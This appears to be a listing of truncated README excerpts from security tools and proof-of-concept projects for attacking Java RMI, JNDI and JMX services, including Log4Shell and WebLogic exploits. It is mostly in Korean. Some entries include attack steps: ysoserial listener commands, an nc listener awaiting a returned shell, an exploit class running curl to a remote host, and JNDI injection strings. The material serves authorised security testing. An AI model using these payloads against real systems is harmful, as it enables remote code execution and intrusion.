BaRMIe

BaRMIe BaRMIe is a tool for enumerating and attacking Java RMI Remote Method Invocation services. RMI services often expose dangerous functionality without adequate security controls, however RMI services tend to pass under the radar during security assessments due to the lack of effective testin...

CVE-2019-12409

CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true" Enables log rotati...

RmiTaste

RmiTaste RmiTaste는 보안 전문가가 ysoserial의 gadget을 사용하여 원격 메서드를 호출함으로써 RMI 서비스를 탐지, 열거, 상호 작용 및 공격할 수 있게 해줍니다. 또한 특정 매개변수로 원격 메서드를 호출할 수도 있습니다. 면책 조항 RmiTaste는 사용자가 사전 승인을 받은 시스템에서 안전하지 않은 RMI 서비스를 식별하는 보안 전문가를 돕기 위해 작성되었습니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며, RmiTaste는 모든 관련 법률을 준수하여 사용해야 합니다. 이를 위반할 경우 기소될 수...

CVE_2020_2546

Twitter: @Hktalent3135773 1. Weblogic RCE 익스플로잇 CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2. 익스플로잇 GIOP + bind 전송 CVE-2020-2555, CVE-2019-2888, CVE-2019-2888 또는 기타 GIOP + jta 전송 rmi 또는 기타 GIOP + jta...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP는 셸 반환에 성공할 수 있습니다 이 문서 및 도구는 기술 공유만을 위한 것이며, 불법적인 용도로 사용하는 것을 엄격히 금지합니다. 그로 인해 발생하는 모든 결과는 본인이 부담합니다. 명령 실행 EXP 트리거 1. VPS에서 RMI 리스너를 9999 포트로 시작 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS에서 nc 리스너를 8443 포트로 시작 nc...

CVE-2021-44228

CVE-2021-44228 취약점 재현 1. 먼저 RmiServer를 실행하여 RMI 레지스트리 서비스를 생성합니다. 2. Log4jTest를 실행합니다. Windows를 사용하는 경우 계산기가 나타납니다...

CVE-2021-44228

CVE-2021-44228 이쪽 이야기가 더 실용성이 있다고 생각합니다ㅠㅠchristophetd/log4shell-vulnerable-app 흥미가 생겨 충동적으로 조사한 것뿐이라, 불확실한 부분이나 오류가 있을 것으로 생각됩니다. 부디, 본인 책임으로 부탁드립니다. 재현 환경 만들기. linux 환경이라면 동작할 것으로 생각됩니다. 1. jdk 다운로드 jdk8u191 이후에는 com.sun.jndi.rmi.object.trustURLCodebase 옵션이 추가되어 기본값이 False가 되었습니다. 이 상태에서는 외부에서...

zkar

ZKar ZKar is a Java serialization protocol analysis tool implement in Go. This tool is still work in progress , so no complete API document and contribution guide. ZKar provides: A Java serialization payloads parser and viewer in pure Go, no CGO or JDK is required From the Java serialization...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP 역직렬화 테스트 환경 Weblogic10.3.6+jdk1.6 패키징된 jar 파일 추출 코드：a6ob 취약점 악용 jar 파일을 다운로드한 후 marshalsec을 사용하여 악성 RMI 서비스를 시작하고 로컬에서 exp.java를 컴파일합니다. package payload; import java.io.IOException; public class exp public exp String cmd = "curl http://172.16.1.1/success"; try...

ermir

Ermir Ermir는 악성/가짜 RMI 레지스트리로, 표준 RMI 메서드list/lookup/bind/rebind/unbind를 호출하는 모든 Java 코드의 안전하지 않은 역직렬화를 악용합니다. 요구 사항 Ruby v3 이상. 설치 rubygems.org에서 Ermir 설치: $ gem install ermir 또는 저장소를 클론하고 gem 빌드: $ git clone https://github.com/hakivvi/ermir.git $ rake install 사용법 Ermir는 CLI gem으로, ermir와...

ermir

Ermir Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it list/lookup/bind/rebind/unbind. Requirements Ruby v3 or newer. Installation Install Ermir from rubygems.org: $ gem install ermir or clone the repo and build the gem:...

WebSphere-WSIF-gadget

WebSphere용 WSIF Gadget CVE-2020-4464 / CVE-2020-4450 이것은 ZDI의 훌륭한 블로그 게시물을 기반으로 합니다 원본 보고서: @tint0: https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere https://www.zerodayinitiative.com/blog/2020/9/29/exploiting-other-remote-protocols-in-ibm-websphere ... 그리고 몇몇 훌...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 중국어 README 설명 JNDI-Injection-Exploit-Plus는 작동 가능한 JNDI 링크 를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다. 이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이 링크를 POC 에 삽입하여 취약점을 테스트할 수 있습니다. 예를 들어, 다음은 Fastjson 취약점 POC입니다:...

log4j-cve-2021-44228

Log4j CVE-2021-44228 および CVE-2021-45046 前提条件 脆弱なJDKを使用してください。例: JDK 1.8.0181 使用方法 悪意のあるサーバー 悪意のあるサーバーは以下のエンドポイントをデプロイします: 1389 LDAPサーバー 1099 RMIサーバー 8081 HTTPサーバー ./gradlew :malicious-server:bootRun 脆弱なアプリケーション 脆弱なアプリケーションは、8082 に1つのHTTPエンドポイントをデプロイします。 ./gradlew :vulnerable-app:bootRun リモートコード実行...

CVE-2021-44228-Apache-Log4j-Rce

사용법: 1. RMIServer 실행 2. Main 실행...

rmiscout

Description RMIScout enables wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation. It supports multiple Java RMI protocols, method invocation, and exploitation. Feature overview Supports multiple types of Java RMI servers: RMI-JR...

CVE-2021-44228-Demo

CVE-2021-44228-Demo CVE-2021-44228을 활용하여 RMI와 LDAP 두 가지 방식으로 코드를 원격 주입하는 예제입니다. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer와 LdapServer 실행은 Python3에 의존합니...

JNDI-Injection-Exploit

JNDI-Injection-Exploit JNDI 인젝션에 관한 자료 중국어 문서 관련 글 설명 JNDI-Injection-Exploit는 작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다. RMI 서버와 LDAP 서버는 marshals를 기반으로 하며 HTTP 서버와 연결하기 위해 추가로 수정되었습니다. 이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이러한 링크를 POC 에 삽입하여 취약점을 테스트할 수 있습니다. 예를 들어, 다음은...

mjet

mjet Mogwai Security Java Management Extensions JMX Exploitation Toolkit mjet은 안전하지 않게 구성된 JMX 서비스를 보호하기 위해 사용할 수 있는 도구입니다. 이 도구는 Braden Thomas/Accuvant의 블로그 게시물 "Exploiting JMX-RMI" http://www.accuvant.com/blog/exploiting-jmx-rmi 에 기반하며, 대상 시스템에서 임의의 Metasploit 페이로드를 실행하는 데 사용할 수 있습니다. Mjet은 원래...

log4j-CVE-2021-44228-test

log4j-CVE-2021-44228-test log4jCVE-2021-44228 취약점을 실행하는 방법을 보여주는 데모 프로젝트 빠르게 설정하기 위해 Spring Boot를 사용했습니다. 하드코딩이 많지만 이해해 주세요. POC일 뿐입니다. 사용 방법 Java 8이 설치되어 있어야 합니다. Maven으로 빌드: mvn clean package -DskipTests. 별도의 쉘 창에서 다음 명령을 실행하세요: java -jar vulnerable-server/target/vulnerable-server.jar java -jar...